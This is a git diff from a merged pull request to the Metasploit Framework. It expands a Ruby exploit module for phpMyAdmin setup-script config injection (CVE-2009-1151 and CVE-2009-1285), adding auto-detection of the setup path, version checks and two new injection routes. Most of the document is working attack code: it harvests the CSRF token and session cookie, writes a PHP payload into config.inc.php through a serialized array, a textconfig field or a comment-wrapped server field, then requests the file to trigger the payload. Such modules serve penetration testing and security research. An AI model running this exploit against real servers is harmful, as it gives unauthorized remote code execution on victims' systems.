Merge pull request #21019 from g0tmi1k/phpmyadmin_config
This commit is contained in:
@@ -7,19 +7,22 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'PhpMyAdmin Config File Code Injection',
|
||||
'Name' => 'phpMyAdmin Config File Code Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in phpMyAdmin's setup
|
||||
feature which allows an attacker to inject arbitrary PHP
|
||||
code into a configuration file. The original advisory says
|
||||
the vulnerability is present in phpMyAdmin versions 2.11.x
|
||||
< 2.11.9.5 and 3.x < 3.1.3.1; this module was tested on
|
||||
3.0.1.1.
|
||||
the vulnerability is present in phpMyAdmin versions
|
||||
2.11.x <= 2.11.9.4 and 3.x <= 3.1.3.
|
||||
|
||||
There was a follow up vulnerability as the patch was
|
||||
incomplete, affecting versions 3.x <= 3.1.3.1.
|
||||
|
||||
The file where our payload is written
|
||||
(phpMyAdmin/config/config.inc.php) is not directly used by
|
||||
@@ -28,20 +31,25 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
after successful exploitation.
|
||||
},
|
||||
'Author' => [
|
||||
'Greg Ose', # Discovery
|
||||
'pagvac', # milw0rm PoC
|
||||
'egypt' # metasploit module
|
||||
'Greg Ose', # Discovery (CVE-2009-1151, v2.11.x <= v3.0.x)
|
||||
'pagvac', # milw0rm PoC (CVE-2009-1151)
|
||||
'egypt', # metasploit
|
||||
'Tenable', # Discovery (CVE-2009-1285, v3.1.x <= v3.1.3.1)
|
||||
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2009-1151' ],
|
||||
[ 'OSVDB', '53076' ],
|
||||
[ 'EDB', '8921' ],
|
||||
[ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php' ],
|
||||
[ 'URL', 'http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/' ]
|
||||
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2009-3/' ],
|
||||
[ 'URL', 'https://web.archive.org/web/20130724101149/http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/' ],
|
||||
[ 'CVE', '2009-1285' ],
|
||||
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2009-4/' ],
|
||||
[ 'URL', 'https://www.tenable.com/security/research/tra-2009-02' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Platform' => [ 'php' ],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Payload' => {
|
||||
'Space' => 4000, # unlimited really since our shellcode gets written to a file
|
||||
@@ -49,82 +57,308 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# No filtering whatsoever, so no badchars
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => 'find',
|
||||
'ConnectionType' => 'find'
|
||||
},
|
||||
'Keys' => ['php'],
|
||||
'Keys' => [ 'php' ]
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Automatic (phpMyAdmin 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1)', {} ],
|
||||
[ 'Automatic (phpMyAdmin 2.11.x <= 2.11.9.4 and 3.x <= 3.1.3.1)', {} ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2009-03-24',
|
||||
'Notes' => {
|
||||
'Reliability' => UNKNOWN_RELIABILITY,
|
||||
'Stability' => UNKNOWN_STABILITY,
|
||||
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [CONFIG_CHANGES]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI', [ true, "Base phpMyAdmin directory path", '/phpMyAdmin/']),
|
||||
OptString.new('URI', [ true, 'Base phpMyAdmin directory path', '/phpMyAdmin/' ]),
|
||||
# /scripts/setup.php - <= 2.11.9.4/3.0.x
|
||||
# /setup/ - >= 3.1.x
|
||||
OptString.new('SETUP_PATH', [ false, 'phpMyAdmin setup directory path (Blank to automatically detect)' ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# First, grab the session cookie and the CSRF token
|
||||
print_status("Grabbing session cookie and CSRF token")
|
||||
uri = normalize_uri(datastore['URI'], "/scripts/setup.php")
|
||||
def request_setup(uri)
|
||||
uri = normalize_uri(datastore['URI'], uri)
|
||||
vprint_status "Trying: #{uri}"
|
||||
response = send_request_raw({ 'uri' => uri })
|
||||
if !response
|
||||
fail_with(Failure::NotFound, "Failed to retrieve hash, server may not be vulnerable.")
|
||||
return
|
||||
if response.nil?
|
||||
vprint_error 'Error with setup request (No response)'
|
||||
elsif response.code != 200
|
||||
vprint_warning "Error with setup request (HTTP #{response.code}, should be 200)"
|
||||
else
|
||||
vprint_good "Found: #{uri}"
|
||||
|
||||
title = response&.get_html_document&.at_xpath('//title')&.text
|
||||
if /phpMyAdmin (?<version_str>.+?) setup/i =~ title
|
||||
version = Rex::Version.new(version_str)
|
||||
vprint_status "Found version: #{version}"
|
||||
|
||||
report_service(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
name: 'phpMyAdmin',
|
||||
info: "phpMyAdmin #{version}",
|
||||
parents: {
|
||||
name: ssl ? 'https' : 'http',
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
parents: {
|
||||
name: 'tcp',
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
parents: nil
|
||||
}
|
||||
}
|
||||
)
|
||||
end
|
||||
end
|
||||
if (response.body !~ /"token"\s*value="([^"]*)"/)
|
||||
fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?")
|
||||
return
|
||||
|
||||
return response, version
|
||||
end
|
||||
|
||||
def find_setup_path(mode: :exploit)
|
||||
if datastore['SETUP_PATH'].nil?
|
||||
vprint_status 'Attempting to automatically detect phpMyAdmin setup directory path'
|
||||
|
||||
response, version = request_setup('/scripts/setup.php') # phpMyAdmin <= 2.11.9.4/3.0.x
|
||||
if mode == :exploit
|
||||
response, version = request_setup('/setup/index.php?page=config') unless response&.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig)
|
||||
response, version = request_setup('/setup/') unless response&.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments)
|
||||
else
|
||||
response, version = request_setup('/setup/') unless response&.code == 200 # This will report if folder is writable
|
||||
response, version = request_setup('/setup/index.php?page=config') unless response&.code == 200 # This will not
|
||||
end
|
||||
else
|
||||
response, version = request_setup(datastore['SETUP_PATH'])
|
||||
end
|
||||
token = $1
|
||||
|
||||
print_error 'Unable to find valid phpMyAdmin setup directory path' unless response&.code == 200
|
||||
|
||||
return response, version
|
||||
end
|
||||
|
||||
def check
|
||||
response, version = find_setup_path(mode: :check)
|
||||
return Exploit::CheckCode::Safe unless response&.code == 200
|
||||
|
||||
if (response.body !~ /"token"\s*value="([^"]+)"/)
|
||||
return Exploit::CheckCode::Safe("Couldn't find token and can't continue without it. Is URI set correctly?")
|
||||
elsif (response.body =~ /Cannot load or save configuration/)
|
||||
return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable!)")
|
||||
elsif (response.body =~ /Please create web server writable folder/) # Full message: Please create web server writable folder config in phpMyAdmin top level directory as described in documentation. Otherwise you will be only able to download or display it.
|
||||
return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable! - Error: 2)")
|
||||
end
|
||||
|
||||
if version
|
||||
vulnerable =
|
||||
version.between?(Rex::Version.new('2.11.0'), Rex::Version.new('2.11.9.4')) ||
|
||||
version.between?(Rex::Version.new('3.0.0'), Rex::Version.new('3.1.3.1'))
|
||||
|
||||
if vulnerable
|
||||
return Exploit::CheckCode::Appears("Target version is in range! (#{version})")
|
||||
else
|
||||
print_status "Target version is not in range (#{version})"
|
||||
end
|
||||
else
|
||||
print_error 'Could not determine version'
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def php_serialize(obj)
|
||||
case obj
|
||||
when String
|
||||
"s:#{obj.bytesize}:\"#{obj}\";"
|
||||
when Integer
|
||||
"i:#{obj};"
|
||||
when TrueClass
|
||||
'b:1;'
|
||||
when FalseClass
|
||||
'b:0;'
|
||||
when Array
|
||||
body = obj.each_with_index.map { |v, i| php_serialize(i) + php_serialize(v) }.join
|
||||
"a:#{obj.length}:{#{body}}"
|
||||
when Hash
|
||||
body = obj.map { |k, v| php_serialize(k) + php_serialize(v) }.join
|
||||
"a:#{obj.length}:{#{body}}"
|
||||
end
|
||||
end
|
||||
|
||||
def valid_request(response, expected_http_code = 200)
|
||||
fail_with(Failure::Unknown, 'Error with exploit request (No response)') unless response
|
||||
return if [expected_http_code, 200].include?(response.code)
|
||||
|
||||
fail_with(Failure::Unknown, "Error with exploit request (HTTP #{response.code}, expected #{expected_http_code})")
|
||||
end
|
||||
|
||||
def exploit
|
||||
response, = find_setup_path(mode: :exploit)
|
||||
fail_with(Failure::NotFound, 'Failed - Server may not be vulnerable') unless response&.code == 200
|
||||
uri = response.request[/^GET\s+(\S+)/, 1]
|
||||
|
||||
# Find the CSRF token and session cookie
|
||||
fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") if (response.body !~ /"token"\s*value="([^"]+)"/)
|
||||
token = ::Regexp.last_match(1)
|
||||
cookie = response.get_cookies
|
||||
|
||||
# There is probably a great deal of randomization that can be done with
|
||||
# this format.
|
||||
config = "a:1:{s:7:\"Servers\";a:1:{i:0;a:6:{s:#{payload.encoded.length + 13}:\""
|
||||
config << "host']='';" + payload.encoded + ";//"
|
||||
config << '";s:9:"' + rand_text_alpha(9) + '";s:9:"extension";s:6:"mysqli";s:12:"connect_type"'
|
||||
config << ';s:3:"tcp";s:8:"compress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"' + rand_text_alpha(4) + '";}}}'
|
||||
case uri
|
||||
# CVE-2009-1151
|
||||
when %r{/scripts/setup\.php}
|
||||
vprint_status 'Constructing exploit (save request) for: <= 2.11.9.4/3.0.x'
|
||||
|
||||
data = "token=#{token}&action=save&configuration="
|
||||
data << Rex::Text.uri_encode(config)
|
||||
data << "&eoltype=unix"
|
||||
injected = "host']='';#{payload.encoded};//"
|
||||
|
||||
# Now that we've got the cookie and token, send the evil
|
||||
print_status("Sending save request")
|
||||
response = send_request_raw({
|
||||
'uri' => normalize_uri(datastore['URI'], "/scripts/setup.php"),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'cookie' => cookie,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Content-Length' => data.length
|
||||
# There is probably a great deal of randomization that can be done with this PHP serialized array
|
||||
config_hash = {
|
||||
'Servers' => [
|
||||
{
|
||||
injected => '',
|
||||
rand_text_alpha(9) => 'extension',
|
||||
'connect_type' => 'tcp',
|
||||
'compress' => false,
|
||||
'auth_type' => 'config',
|
||||
'user' => rand_text_alpha(4)
|
||||
}
|
||||
]
|
||||
}
|
||||
}, 3)
|
||||
config = php_serialize(config_hash)
|
||||
|
||||
print_status("Requesting our payload")
|
||||
# Now that we've got the cookie and token, send the evil
|
||||
print_status "Sending exploit (save request): #{uri}"
|
||||
response = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
'token' => token,
|
||||
'action' => 'save',
|
||||
'configuration' => config,
|
||||
'eoltype' => 'unix'
|
||||
}
|
||||
}, 3)
|
||||
valid_request(response)
|
||||
# CVE-2009-1285 #1
|
||||
when %r{/setup/index\.php\?page=config\z}
|
||||
uri = uri.sub(%r{/setup/index\.php\?page=config\z}, '/setup/config.php?type=post')
|
||||
print_status "Sending exploit >= 3.1.x (textconfig): #{uri}"
|
||||
response = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
'token' => token,
|
||||
'eol' => 'unix',
|
||||
'textconfig' => "<?php #{payload.encoded} ?>",
|
||||
'submit_save' => 'Save'
|
||||
|
||||
# very short timeout because the request may never return if we're
|
||||
# sending a socket payload
|
||||
}
|
||||
}, 3)
|
||||
valid_request(response, 303)
|
||||
# CVE-2009-1285 #2
|
||||
when %r{/setup(?:/(?:config|index)\.php)?/?\z}
|
||||
phpmyadmin_cookie = cookie[/phpMyAdmin=([^;]+)/, 1]
|
||||
fail_with(Failure::NotFound, 'phpMyAdmin cookie not found') unless phpmyadmin_cookie
|
||||
|
||||
print_status "Sending exploit >= 3.1.x (new server): #{uri}"
|
||||
response = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_get' => {
|
||||
'phpMyAdmin' => phpmyadmin_cookie,
|
||||
'check_page_refresh' => '1',
|
||||
'token' => token,
|
||||
'page' => 'servers',
|
||||
'mode' => 'add',
|
||||
'submit' => 'New server'
|
||||
},
|
||||
'cookie' => cookie,
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' => {
|
||||
'check_page_refresh' => '1',
|
||||
'token' => token,
|
||||
'Servers-0-verbose' => "*/#{payload.encoded}/*",
|
||||
'Servers-0-host' => 'localhost',
|
||||
'Servers-0-port' => '',
|
||||
'Servers-0-socket' => '',
|
||||
'Servers-0-connect_type' => 'tcp',
|
||||
'Servers-0-extension' => 'mysqli',
|
||||
'Servers-0-auth_type' => 'cookie',
|
||||
'Servers-0-user' => 'root',
|
||||
'Servers-0-password' => '',
|
||||
'Servers-0-auth_swekey_config' => '',
|
||||
'submit_save' => 'Save',
|
||||
'Servers-0-SignonSession' => '',
|
||||
'Servers-0-SignonURL' => '',
|
||||
'Servers-0-LogoutURL' => '',
|
||||
'Servers-0-only_db' => '',
|
||||
'Servers-0-hide_db' => '',
|
||||
'Servers-0-AllowRoot' => 'on',
|
||||
'Servers-0-DisableIS' => 'on',
|
||||
'Servers-0-AllowDeny-order' => '',
|
||||
'Servers-0-AllowDeny-rules' => '',
|
||||
'Servers-0-ShowDatabasesCommand' => 'SHOW DATABASES',
|
||||
'Servers-0-CountTables' => 'on',
|
||||
'Servers-0-pmadb' => '',
|
||||
'Servers-0-controluser' => '',
|
||||
'Servers-0-controlpass' => '',
|
||||
'Servers-0-verbose_check' => 'on',
|
||||
'Servers-0-bookmarktable' => '',
|
||||
'Servers-0-relation' => '',
|
||||
'Servers-0-table_info' => '',
|
||||
'Servers-0-table_coords' => '',
|
||||
'Servers-0-pdf_pages' => '',
|
||||
'Servers-0-column_info' => '',
|
||||
'Servers-0-history' => '',
|
||||
'Servers-0-designer_coords' => ''
|
||||
}
|
||||
}, 3
|
||||
)
|
||||
valid_request(response, 303)
|
||||
|
||||
uri = uri.sub(%r{/setup(?:/(?:config|index)\.php)?/?\z}, '/setup/config.php')
|
||||
print_status "Sending exploit >= 3.1.x (save config): #{uri}"
|
||||
response = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie,
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' => {
|
||||
'token' => token,
|
||||
'submit_save' => 'Save'
|
||||
}
|
||||
}, 3
|
||||
)
|
||||
valid_request(response, 303)
|
||||
else
|
||||
fail_with(Failure::Unknown, "...unsure how to exploit the target based on the URI: #{uri}")
|
||||
end
|
||||
|
||||
# Very short timeout because the request may never return if we're sending a socket payload
|
||||
timeout = 0.1
|
||||
uri = normalize_uri(datastore['URI'], '/config/config.inc.php')
|
||||
print_status "Requesting our payload: #{uri}"
|
||||
response = send_request_raw({
|
||||
# Allow findsock payloads to work
|
||||
'global' => true,
|
||||
'uri' => normalize_uri(datastore['URI'], "/config/config.inc.php")
|
||||
'global' => true, # Allow findsock payloads to work
|
||||
'uri' => uri
|
||||
}, timeout)
|
||||
|
||||
handler
|
||||
# Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails
|
||||
if response.nil?
|
||||
vprint_warning 'The request received no response in the allotted time, and is expected, even if the exploit succeeds.'
|
||||
elsif response.code != 200
|
||||
vprint_error "Error with payload request (HTTP #{response.code}, should be 200)"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user